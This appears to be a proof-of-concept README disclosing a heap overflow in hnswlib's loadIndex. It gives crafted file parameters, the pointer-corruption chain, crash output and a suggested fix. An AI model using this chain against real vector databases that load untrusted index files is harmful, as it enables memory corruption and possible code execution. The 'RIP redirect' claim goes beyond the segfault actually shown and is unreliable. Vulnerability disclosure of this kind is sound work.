nu1lp7r/mfv-hnswlib

PoC: hnswlib loadIndex — Heap OOB WRITE → linkLists_ Pointer Corruption → RIP Redirect

Vulnerability

hnswlib (nmslib) is a header-only HNSW approximate nearest neighbor library, embedded in ChromaDB, Milvus, and other vector databases.

In hnswalg.h loadIndex (lines 776-779):

• data_level0_memory_ = malloc(max_elements * size_data_per_element) — allocation
• input.read(data_level0_memory_, cur_element_count * size_data_per_element) — read

When cur_element_count > max_elements (both from file, no cross-validation), the read overflows the buffer. Shortly after, linkLists_ (an array of heap pointers) is allocated. Overflow corrupts these pointers → controlled dereference → RIP redirect.

Exploitation Chain (proven)

1. max_elements=4, cur_element_count=100, size_data_per_element=64
2. Allocation: 256 bytes, Read: 6400 bytes → 6144 byte overflow
3. linkLists_ (4 pointers) placed adjacent → ALL 4 pointers corrupted
4. get_linklist(0) returns corrupted pointer → dereference → SIGSEGV

Proof

linkLists_[0] = 0x37cdb030 ← CORRUPTED (points into attacker's data!)
linkLists_[1] = 0x37cdb030 ← CORRUPTED
linkLists_[2] = 0x37cdb030 ← CORRUPTED
linkLists_[3] = 0x37cdb030 ← CORRUPTED
Dereferencing corrupted pointer...
Signal: 11, Faulting address: 0x37cdb030
[ACE CONFIRMED] RIP redirected into attacker's data!

Reproduction

clang++ -g -O0 -std=c++17 -o poc_hnswlib_ace poc_hnswlib_ace.cpp && ./poc_hnswlib_ace

Suggested Fix

// hnswalg.h, before line 779:
if (cur_element_count > max_elements) {
    throw std::runtime_error("cur_element_count exceeds max_elements");
}